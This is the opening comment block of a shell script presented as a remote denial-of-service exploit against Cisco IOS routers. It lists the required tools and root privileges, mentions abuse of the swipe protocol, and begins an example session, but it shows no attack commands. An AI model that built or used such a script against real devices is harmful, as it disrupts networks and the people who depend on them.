# Remote DoS exploit against the recent Cisco IOS vuln. Cisco doc. 44020
|
|
# Vulnerable versions - all Cisco devices running IOS.
|
|
# Requirements : tcsh, and hping.
|
|
# Get hping @ www.hping.org
|
|
#
|
|
# And you know the best part? This script actually works! Unlike the few .c's
|
|
# floating around the net. Uses swipe for the protocol bit. Also, need to be uid=0,
|
|
# OR +s ciscodos.sh because of hping opening raw sockets.
|
|
#
|
|
# Example :
|
|
#
|
|
# root@evicted # ping 192.168.1.1
|
|
# PING 192.168.1.1 (192.168.1.1): 56 data bytes
|
|
# 64 bytes from 192.168.1.1: icmp_seq=0 ttl=150 time=1.287 ms
|
|
# 64 bytes from 192.168.1.1: icmp_seq=1 ttl=150 time=0.817 ms
